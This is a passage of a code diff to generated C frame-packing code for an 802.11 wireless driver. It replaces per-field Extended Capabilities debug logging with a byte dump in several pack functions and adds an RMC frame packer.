pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -41166,57 +40427,8 @@ tANI_U32 dot11fPackProbeResponse(tpAniSirGlobal pCtx, tDot11fProbeResponse *pFrm } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_PROBERESPONSE), FRFL("OBSSScanParameters:\n")); if (!pFrm->OBSSScanParameters.present) @@ -41402,6 +40614,40 @@ tANI_U32 dot11fPackQosMapConfigure(tpAniSirGlobal pCtx, tDot11fQosMapConfigure * } /* End dot11fUnpackQosMapConfigure. */ +tANI_U32 dot11fPackRMC(tpAniSirGlobal pCtx, tDot11fRMC *pFrm, tANI_U8 *pBuf, tANI_U32 nBuf, tANI_U32 *pnConsumed) +{ + tANI_U32 i = 0; + tANI_U32 status = 0; + (void)i; + *pnConsumed = 0U; + status = PackCore(pCtx, (tANI_U8*)pFrm, pBuf, nBuf, pnConsumed, FFS_RMC, IES_RMC); + +# ifdef DOT11F_DUMP_FRAMES + if (!DOT11F_FAILED(status)) + { + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Packed the RMC:\n")); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Category:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->Category.category, 1); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("RMCOUI:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->RMCOUI.oui, 3); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("MagicCode:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->MagicCode.magic, 6); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("RMCVersion:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->RMCVersion.version, 1); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Action:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->Action.action, 1); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("RMCDialogToken:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->RMCDialogToken.token, 4); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("Ruler:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), ( tANI_U8* )&pFrm->Ruler.mac, 6); + FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), FRFL("to:\n")); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_RMC), pBuf, nBuf); + } +# endif // DOT11F_DUMP_FRAMES + return status; + +} /* End dot11fUnpackRMC. */ + tANI_U32 dot11fPackRadioMeasurementReport(tpAniSirGlobal pCtx, tDot11fRadioMeasurementReport *pFrm, tANI_U8 *pBuf, tANI_U32 nBuf, tANI_U32 *pnConsumed) { tANI_U32 i = 0; @@ -42515,57 +41761,8 @@ tANI_U32 dot11fPackReAssocRequest(tpAniSirGlobal pCtx, tDot11fReAssocRequest *pF } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCREQUEST), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -43677,57 +42874,8 @@ tANI_U32 dot11fPackReAssocResponse(tpAniSirGlobal pCtx, tDot11fReAssocResponse * } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), 